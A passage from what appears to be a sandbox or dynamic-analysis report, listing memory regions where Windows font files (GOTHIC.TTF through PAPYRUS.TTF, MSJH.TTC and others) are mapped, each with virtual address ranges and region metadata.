"\\Windows\\Fonts\\GOTHIC.TTF" (normalized: "c:\\windows\\fonts\\gothic.ttf") Region: id = 1151 start_va = 0x5b0000 end_va = 0x5d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gothic.ttf" filename = "\\Windows\\Fonts\\GOTHIC.TTF" (normalized: "c:\\windows\\fonts\\gothic.ttf") Region: id = 1152 start_va = 0x470000 end_va = 0x48ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gothicb.ttf" filename = "\\Windows\\Fonts\\GOTHICB.TTF" (normalized: "c:\\windows\\fonts\\gothicb.ttf") Region: id = 1153 start_va = 0x470000 end_va = 0x48ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gothicb.ttf" filename = "\\Windows\\Fonts\\GOTHICB.TTF" (normalized: "c:\\windows\\fonts\\gothicb.ttf") Region: id = 1154 start_va = 0x5b0000 end_va = 0x5d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gothicbi.ttf" filename = "\\Windows\\Fonts\\GOTHICBI.TTF" (normalized: "c:\\windows\\fonts\\gothicbi.ttf") Region: id = 1155 start_va = 0x5b0000 end_va = 0x5d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gothicbi.ttf" filename = "\\Windows\\Fonts\\GOTHICBI.TTF" (normalized: "c:\\windows\\fonts\\gothicbi.ttf") Region: id = 1156 start_va = 0x5b0000 end_va = 0x5d4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gothici.ttf" filename = "\\Windows\\Fonts\\GOTHICI.TTF" (normalized: "c:\\windows\\fonts\\gothici.ttf") Region: id = 1157 start_va = 0x5b0000 end_va = 0x5d4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gothici.ttf" filename = "\\Windows\\Fonts\\GOTHICI.TTF" (normalized: "c:\\windows\\fonts\\gothici.ttf") Region: id = 1158 start_va = 0x470000 end_va = 0x483fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "goudos.ttf" filename = "\\Windows\\Fonts\\GOUDOS.TTF" (normalized: "c:\\windows\\fonts\\goudos.ttf") Region: id = 1159 start_va = 0x470000 end_va = 0x483fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "goudos.ttf" filename = "\\Windows\\Fonts\\GOUDOS.TTF" (normalized: "c:\\windows\\fonts\\goudos.ttf") Region: id = 1160 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "goudosb.ttf" filename = "\\Windows\\Fonts\\GOUDOSB.TTF" (normalized: "c:\\windows\\fonts\\goudosb.ttf") Region: id = 1161 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "goudosb.ttf" filename = "\\Windows\\Fonts\\GOUDOSB.TTF" (normalized: "c:\\windows\\fonts\\goudosb.ttf") Region: id = 1162 start_va = 0x470000 end_va = 0x483fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "goudosi.ttf" filename = "\\Windows\\Fonts\\GOUDOSI.TTF" (normalized: "c:\\windows\\fonts\\goudosi.ttf") Region: id = 1163 start_va = 0x470000 end_va = 0x483fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "goudosi.ttf" filename = "\\Windows\\Fonts\\GOUDOSI.TTF" (normalized: "c:\\windows\\fonts\\goudosi.ttf") Region: id = 1164 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "goudysto.ttf" filename = "\\Windows\\Fonts\\GOUDYSTO.TTF" (normalized: "c:\\windows\\fonts\\goudysto.ttf") Region: id = 1165 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "goudysto.ttf" filename = "\\Windows\\Fonts\\GOUDYSTO.TTF" (normalized: "c:\\windows\\fonts\\goudysto.ttf") Region: id = 1166 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "harlowsi.ttf" filename = "\\Windows\\Fonts\\HARLOWSI.TTF" (normalized: "c:\\windows\\fonts\\harlowsi.ttf") Region: id = 1167 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "harlowsi.ttf" filename = "\\Windows\\Fonts\\HARLOWSI.TTF" (normalized: "c:\\windows\\fonts\\harlowsi.ttf") Region: id = 1168 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "harngton.ttf" filename = "\\Windows\\Fonts\\HARNGTON.TTF" (normalized: "c:\\windows\\fonts\\harngton.ttf") Region: id = 1169 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "harngton.ttf" filename = "\\Windows\\Fonts\\HARNGTON.TTF" (normalized: "c:\\windows\\fonts\\harngton.ttf") Region: id = 1170 start_va = 0x470000 end_va = 0x48afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hatten.ttf" filename = "\\Windows\\Fonts\\HATTEN.TTF" (normalized: "c:\\windows\\fonts\\hatten.ttf") Region: id = 1171 start_va = 0x470000 end_va = 0x48afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hatten.ttf" filename = "\\Windows\\Fonts\\HATTEN.TTF" (normalized: "c:\\windows\\fonts\\hatten.ttf") Region: id = 1172 start_va = 0x470000 end_va = 0x486fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "htowert.ttf" filename = "\\Windows\\Fonts\\HTOWERT.TTF" (normalized: "c:\\windows\\fonts\\htowert.ttf") Region: id = 1173 start_va = 0x470000 end_va = 0x486fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "htowert.ttf" filename = "\\Windows\\Fonts\\HTOWERT.TTF" (normalized: "c:\\windows\\fonts\\htowert.ttf") Region: id = 1174 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "htowerti.ttf" filename = "\\Windows\\Fonts\\HTOWERTI.TTF" (normalized: "c:\\windows\\fonts\\htowerti.ttf") Region: id = 1175 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "htowerti.ttf" filename = "\\Windows\\Fonts\\HTOWERTI.TTF" (normalized: "c:\\windows\\fonts\\htowerti.ttf") Region: id = 1176 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imprisha.ttf" filename = "\\Windows\\Fonts\\IMPRISHA.TTF" (normalized: "c:\\windows\\fonts\\imprisha.ttf") Region: id = 1177 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imprisha.ttf" filename = "\\Windows\\Fonts\\IMPRISHA.TTF" (normalized: "c:\\windows\\fonts\\imprisha.ttf") Region: id = 1178 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "infroman.ttf" filename = "\\Windows\\Fonts\\INFROMAN.TTF" (normalized: "c:\\windows\\fonts\\infroman.ttf") Region: id = 1179 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "infroman.ttf" filename = "\\Windows\\Fonts\\INFROMAN.TTF" (normalized: "c:\\windows\\fonts\\infroman.ttf") Region: id = 1180 start_va = 0x5b0000 end_va = 0x5d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "itcblkad.ttf" filename = "\\Windows\\Fonts\\ITCBLKAD.TTF" (normalized: "c:\\windows\\fonts\\itcblkad.ttf") Region: id = 1181 start_va = 0x5b0000 end_va = 0x5d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "itcblkad.ttf" filename = "\\Windows\\Fonts\\ITCBLKAD.TTF" (normalized: "c:\\windows\\fonts\\itcblkad.ttf") Region: id = 1182 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "itcedscr.ttf" filename = "\\Windows\\Fonts\\ITCEDSCR.TTF" (normalized: "c:\\windows\\fonts\\itcedscr.ttf") Region: id = 1183 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "itcedscr.ttf" filename = "\\Windows\\Fonts\\ITCEDSCR.TTF" (normalized: "c:\\windows\\fonts\\itcedscr.ttf") Region: id = 1184 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "itckrist.ttf" filename = "\\Windows\\Fonts\\ITCKRIST.TTF" (normalized: "c:\\windows\\fonts\\itckrist.ttf") Region: id = 1185 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "itckrist.ttf" filename = "\\Windows\\Fonts\\ITCKRIST.TTF" (normalized: "c:\\windows\\fonts\\itckrist.ttf") Region: id = 1186 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "jokerman.ttf" filename = "\\Windows\\Fonts\\JOKERMAN.TTF" (normalized: "c:\\windows\\fonts\\jokerman.ttf") Region: id = 1187 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "jokerman.ttf" filename = "\\Windows\\Fonts\\JOKERMAN.TTF" (normalized: "c:\\windows\\fonts\\jokerman.ttf") Region: id = 1188 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "juice___.ttf" filename = "\\Windows\\Fonts\\JUICE___.TTF" (normalized: "c:\\windows\\fonts\\juice___.ttf") Region: id = 1189 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "juice___.ttf" filename = "\\Windows\\Fonts\\JUICE___.TTF" (normalized: "c:\\windows\\fonts\\juice___.ttf") Region: id = 1190 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kunstler.ttf" filename = "\\Windows\\Fonts\\KUNSTLER.TTF" (normalized: "c:\\windows\\fonts\\kunstler.ttf") Region: id = 1191 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kunstler.ttf" filename = "\\Windows\\Fonts\\KUNSTLER.TTF" (normalized: "c:\\windows\\fonts\\kunstler.ttf") Region: id = 1192 start_va = 0x440000 end_va = 0x44afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "latinwd.ttf" filename = "\\Windows\\Fonts\\LATINWD.TTF" (normalized: "c:\\windows\\fonts\\latinwd.ttf") Region: id = 1193 start_va = 0x440000 end_va = 0x44afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "latinwd.ttf" filename = "\\Windows\\Fonts\\LATINWD.TTF" (normalized: "c:\\windows\\fonts\\latinwd.ttf") Region: id = 1194 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lbrite.ttf" filename = "\\Windows\\Fonts\\LBRITE.TTF" (normalized: "c:\\windows\\fonts\\lbrite.ttf") Region: id = 1195 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lbrite.ttf" filename = "\\Windows\\Fonts\\LBRITE.TTF" (normalized: "c:\\windows\\fonts\\lbrite.ttf") Region: id = 1196 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lbrited.ttf" filename = "\\Windows\\Fonts\\LBRITED.TTF" (normalized: "c:\\windows\\fonts\\lbrited.ttf") Region: id = 1197 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lbrited.ttf" filename = "\\Windows\\Fonts\\LBRITED.TTF" (normalized: "c:\\windows\\fonts\\lbrited.ttf") Region: id = 1198 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lbritedi.ttf" filename = "\\Windows\\Fonts\\LBRITEDI.TTF" (normalized: "c:\\windows\\fonts\\lbritedi.ttf") Region: id = 1199 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lbritedi.ttf" filename = "\\Windows\\Fonts\\LBRITEDI.TTF" (normalized: "c:\\windows\\fonts\\lbritedi.ttf") Region: id = 1200 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lbritei.ttf" filename = "\\Windows\\Fonts\\LBRITEI.TTF" (normalized: "c:\\windows\\fonts\\lbritei.ttf") Region: id = 1201 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lbritei.ttf" filename = "\\Windows\\Fonts\\LBRITEI.TTF" (normalized: "c:\\windows\\fonts\\lbritei.ttf") Region: id = 1202 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lcallig.ttf" filename = "\\Windows\\Fonts\\LCALLIG.TTF" (normalized: "c:\\windows\\fonts\\lcallig.ttf") Region: id = 1203 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lcallig.ttf" filename = "\\Windows\\Fonts\\LCALLIG.TTF" (normalized: "c:\\windows\\fonts\\lcallig.ttf") Region: id = 1204 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lfax.ttf" filename = "\\Windows\\Fonts\\LFAX.TTF" (normalized: "c:\\windows\\fonts\\lfax.ttf") Region: id = 1205 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lfax.ttf" filename = "\\Windows\\Fonts\\LFAX.TTF" (normalized: "c:\\windows\\fonts\\lfax.ttf") Region: id = 1206 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lfaxd.ttf" filename = "\\Windows\\Fonts\\LFAXD.TTF" (normalized: "c:\\windows\\fonts\\lfaxd.ttf") Region: id = 1207 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lfaxd.ttf" filename = "\\Windows\\Fonts\\LFAXD.TTF" (normalized: "c:\\windows\\fonts\\lfaxd.ttf") Region: id = 1208 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lfaxdi.ttf" filename = "\\Windows\\Fonts\\LFAXDI.TTF" (normalized: "c:\\windows\\fonts\\lfaxdi.ttf") Region: id = 1209 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lfaxdi.ttf" filename = "\\Windows\\Fonts\\LFAXDI.TTF" (normalized: "c:\\windows\\fonts\\lfaxdi.ttf") Region: id = 1210 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lfaxi.ttf" filename = "\\Windows\\Fonts\\LFAXI.TTF" (normalized: "c:\\windows\\fonts\\lfaxi.ttf") Region: id = 1211 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lfaxi.ttf" filename = "\\Windows\\Fonts\\LFAXI.TTF" (normalized: "c:\\windows\\fonts\\lfaxi.ttf") Region: id = 1212 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lhandw.ttf" filename = "\\Windows\\Fonts\\LHANDW.TTF" (normalized: "c:\\windows\\fonts\\lhandw.ttf") Region: id = 1213 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lhandw.ttf" filename = "\\Windows\\Fonts\\LHANDW.TTF" (normalized: "c:\\windows\\fonts\\lhandw.ttf") Region: id = 1214 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsans.ttf" filename = "\\Windows\\Fonts\\LSANS.TTF" (normalized: "c:\\windows\\fonts\\lsans.ttf") Region: id = 1215 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsans.ttf" filename = "\\Windows\\Fonts\\LSANS.TTF" (normalized: "c:\\windows\\fonts\\lsans.ttf") Region: id = 1216 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsansd.ttf" filename = "\\Windows\\Fonts\\LSANSD.TTF" (normalized: "c:\\windows\\fonts\\lsansd.ttf") Region: id = 1217 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsansd.ttf" filename = "\\Windows\\Fonts\\LSANSD.TTF" (normalized: "c:\\windows\\fonts\\lsansd.ttf") Region: id = 1218 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsansdi.ttf" filename = "\\Windows\\Fonts\\LSANSDI.TTF" (normalized: "c:\\windows\\fonts\\lsansdi.ttf") Region: id = 1219 start_va = 0x470000 end_va = 0x480fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsansdi.ttf" filename = "\\Windows\\Fonts\\LSANSDI.TTF" (normalized: "c:\\windows\\fonts\\lsansdi.ttf") Region: id = 1220 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsansi.ttf" filename = "\\Windows\\Fonts\\LSANSI.TTF" (normalized: "c:\\windows\\fonts\\lsansi.ttf") Region: id = 1221 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsansi.ttf" filename = "\\Windows\\Fonts\\LSANSI.TTF" (normalized: "c:\\windows\\fonts\\lsansi.ttf") Region: id = 1222 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ltype.ttf" filename = "\\Windows\\Fonts\\LTYPE.TTF" (normalized: "c:\\windows\\fonts\\ltype.ttf") Region: id = 1223 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ltype.ttf" filename = "\\Windows\\Fonts\\LTYPE.TTF" (normalized: "c:\\windows\\fonts\\ltype.ttf") Region: id = 1224 start_va = 0x440000 end_va = 0x44cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ltypeb.ttf" filename = "\\Windows\\Fonts\\LTYPEB.TTF" (normalized: "c:\\windows\\fonts\\ltypeb.ttf") Region: id = 1225 start_va = 0x440000 end_va = 0x44cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ltypeb.ttf" filename = "\\Windows\\Fonts\\LTYPEB.TTF" (normalized: "c:\\windows\\fonts\\ltypeb.ttf") Region: id = 1226 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ltypebo.ttf" filename = "\\Windows\\Fonts\\LTYPEBO.TTF" (normalized: "c:\\windows\\fonts\\ltypebo.ttf") Region: id = 1227 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ltypebo.ttf" filename = "\\Windows\\Fonts\\LTYPEBO.TTF" (normalized: "c:\\windows\\fonts\\ltypebo.ttf") Region: id = 1228 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ltypeo.ttf" filename = "\\Windows\\Fonts\\LTYPEO.TTF" (normalized: "c:\\windows\\fonts\\ltypeo.ttf") Region: id = 1229 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ltypeo.ttf" filename = "\\Windows\\Fonts\\LTYPEO.TTF" (normalized: "c:\\windows\\fonts\\ltypeo.ttf") Region: id = 1230 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "magnetob.ttf" filename = "\\Windows\\Fonts\\MAGNETOB.TTF" (normalized: "c:\\windows\\fonts\\magnetob.ttf") Region: id = 1231 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "magnetob.ttf" filename = "\\Windows\\Fonts\\MAGNETOB.TTF" (normalized: "c:\\windows\\fonts\\magnetob.ttf") Region: id = 1232 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "maian.ttf" filename = "\\Windows\\Fonts\\MAIAN.TTF" (normalized: "c:\\windows\\fonts\\maian.ttf") Region: id = 1233 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "maian.ttf" filename = "\\Windows\\Fonts\\MAIAN.TTF" (normalized: "c:\\windows\\fonts\\maian.ttf") Region: id = 1234 start_va = 0x440000 end_va = 0x44cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "maturasc.ttf" filename = "\\Windows\\Fonts\\MATURASC.TTF" (normalized: "c:\\windows\\fonts\\maturasc.ttf") Region: id = 1235 start_va = 0x440000 end_va = 0x44cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "maturasc.ttf" filename = "\\Windows\\Fonts\\MATURASC.TTF" (normalized: "c:\\windows\\fonts\\maturasc.ttf") Region: id = 1236 start_va = 0x5b0000 end_va = 0x5defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mistral.ttf" filename = "\\Windows\\Fonts\\MISTRAL.TTF" (normalized: "c:\\windows\\fonts\\mistral.ttf") Region: id = 1237 start_va = 0x5b0000 end_va = 0x5defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mistral.ttf" filename = "\\Windows\\Fonts\\MISTRAL.TTF" (normalized: "c:\\windows\\fonts\\mistral.ttf") Region: id = 1238 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mod20.ttf" filename = "\\Windows\\Fonts\\MOD20.TTF" (normalized: "c:\\windows\\fonts\\mod20.ttf") Region: id = 1239 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mod20.ttf" filename = "\\Windows\\Fonts\\MOD20.TTF" (normalized: "c:\\windows\\fonts\\mod20.ttf") Region: id = 1240 start_va = 0x1e260000 end_va = 0x1f6b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjh.ttc" filename = "\\Windows\\Fonts\\MSJH.TTC" (normalized: "c:\\windows\\fonts\\msjh.ttc") Region: id = 1241 start_va = 0x1e260000 end_va = 0x1f6b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjh.ttc" filename = "\\Windows\\Fonts\\MSJH.TTC" (normalized: "c:\\windows\\fonts\\msjh.ttc") Region: id = 1242 start_va = 0x1e260000 end_va = 0x1f6b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjh.ttc" filename = "\\Windows\\Fonts\\MSJH.TTC" (normalized: "c:\\windows\\fonts\\msjh.ttc") Region: id = 1243 start_va = 0x1b500000 end_va = 0x1c2adfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjhbd.ttc" filename = "\\Windows\\Fonts\\MSJHBD.TTC" (normalized: "c:\\windows\\fonts\\msjhbd.ttc") Region: id = 1244 start_va = 0x1b500000 end_va = 0x1c2adfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjhbd.ttc" filename = "\\Windows\\Fonts\\MSJHBD.TTC" (normalized: "c:\\windows\\fonts\\msjhbd.ttc") Region: id = 1245 start_va = 0x1b500000 end_va = 0x1c2adfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjhbd.ttc" filename = "\\Windows\\Fonts\\MSJHBD.TTC" (normalized: "c:\\windows\\fonts\\msjhbd.ttc") Region: id = 1246 start_va = 0x2190000 end_va = 0x21c8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msuighub.ttf" filename = "\\Windows\\Fonts\\MSUIGHUB.TTF" (normalized: "c:\\windows\\fonts\\msuighub.ttf") Region: id = 1247 start_va = 0x2190000 end_va = 0x21c8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msuighub.ttf" filename = "\\Windows\\Fonts\\MSUIGHUB.TTF" (normalized: "c:\\windows\\fonts\\msuighub.ttf") Region: id = 1248 start_va = 0x1e260000 end_va = 0x1f6ebfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyh.ttc" filename = "\\Windows\\Fonts\\MSYH.TTC" (normalized: "c:\\windows\\fonts\\msyh.ttc") Region: id = 1249 start_va = 0x1e260000 end_va = 0x1f6ebfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyh.ttc" filename = "\\Windows\\Fonts\\MSYH.TTC" (normalized: "c:\\windows\\fonts\\msyh.ttc") Region: id = 1250 start_va = 0x1e260000 end_va = 0x1f6ebfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyh.ttc" filename = "\\Windows\\Fonts\\MSYH.TTC" (normalized: "c:\\windows\\fonts\\msyh.ttc") Region: id = 1251 start_va = 0x1b500000 end_va = 0x1c2b7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyhbd.ttc" filename = "\\Windows\\Fonts\\MSYHBD.TTC" (normalized: "c:\\windows\\fonts\\msyhbd.ttc") Region: id = 1255 start_va = 0x1b500000 end_va = 0x1c2b7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyhbd.ttc" filename = "\\Windows\\Fonts\\MSYHBD.TTC" (normalized: "c:\\windows\\fonts\\msyhbd.ttc") Region: id = 1256 start_va = 0x1b500000 end_va = 0x1c2b7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyhbd.ttc" filename = "\\Windows\\Fonts\\MSYHBD.TTC" (normalized: "c:\\windows\\fonts\\msyhbd.ttc") Region: id = 1257 start_va = 0x5b0000 end_va = 0x5d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mtcorsva.ttf" filename = "\\Windows\\Fonts\\MTCORSVA.TTF" (normalized: "c:\\windows\\fonts\\mtcorsva.ttf") Region: id = 1258 start_va = 0x5b0000 end_va = 0x5d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mtcorsva.ttf" filename = "\\Windows\\Fonts\\MTCORSVA.TTF" (normalized: "c:\\windows\\fonts\\mtcorsva.ttf") Region: id = 1259 start_va = 0x470000 end_va = 0x487fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "niageng.ttf" filename = "\\Windows\\Fonts\\NIAGENG.TTF" (normalized: "c:\\windows\\fonts\\niageng.ttf") Region: id = 1260 start_va = 0x470000 end_va = 0x487fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "niageng.ttf" filename = "\\Windows\\Fonts\\NIAGENG.TTF" (normalized: "c:\\windows\\fonts\\niageng.ttf") Region: id = 1261 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "niagsol.ttf" filename = "\\Windows\\Fonts\\NIAGSOL.TTF" (normalized: "c:\\windows\\fonts\\niagsol.ttf") Region: id = 1262 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "niagsol.ttf" filename = "\\Windows\\Fonts\\NIAGSOL.TTF" (normalized: "c:\\windows\\fonts\\niagsol.ttf") Region: id = 1263 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ocraext.ttf" filename = "\\Windows\\Fonts\\OCRAEXT.TTF" (normalized: "c:\\windows\\fonts\\ocraext.ttf") Region: id = 1264 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ocraext.ttf" filename = "\\Windows\\Fonts\\OCRAEXT.TTF" (normalized: "c:\\windows\\fonts\\ocraext.ttf") Region: id = 1265 start_va = 0x470000 end_va = 0x486fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "oldengl.ttf" filename = "\\Windows\\Fonts\\OLDENGL.TTF" (normalized: "c:\\windows\\fonts\\oldengl.ttf") Region: id = 1266 start_va = 0x470000 end_va = 0x486fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "oldengl.ttf" filename = "\\Windows\\Fonts\\OLDENGL.TTF" (normalized: "c:\\windows\\fonts\\oldengl.ttf") Region: id = 1267 start_va = 0x470000 end_va = 0x483fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "onyx.ttf" filename = "\\Windows\\Fonts\\ONYX.TTF" (normalized: "c:\\windows\\fonts\\onyx.ttf") Region: id = 1268 start_va = 0x470000 end_va = 0x483fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "onyx.ttf" filename = "\\Windows\\Fonts\\ONYX.TTF" (normalized: "c:\\windows\\fonts\\onyx.ttf") Region: id = 1269 start_va = 0x440000 end_va = 0x444fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "outlook.ttf" filename = "\\Windows\\Fonts\\OUTLOOK.TTF" (normalized: "c:\\windows\\fonts\\outlook.ttf") Region: id = 1270 start_va = 0x440000 end_va = 0x444fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "outlook.ttf" filename = "\\Windows\\Fonts\\OUTLOOK.TTF" (normalized: "c:\\windows\\fonts\\outlook.ttf") Region: id = 1271 start_va = 0x440000 end_va = 0x44cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "palscri.ttf" filename = "\\Windows\\Fonts\\PALSCRI.TTF" (normalized: "c:\\windows\\fonts\\palscri.ttf") Region: id = 1272 start_va = 0x440000 end_va = 0x44cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "palscri.ttf" filename = "\\Windows\\Fonts\\PALSCRI.TTF" (normalized: "c:\\windows\\fonts\\palscri.ttf") Region: id = 1273 start_va = 0x5b0000 end_va = 0x5d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "papyrus.ttf" filename = "\\Windows\\Fonts\\PAPYRUS.TTF" (normalized: "c:\\windows\\fonts\\papyrus.ttf") Region: id = 1274 start_va = 0x5b0000 end_va = 0x5d7fff monitored = 0 entry_point = 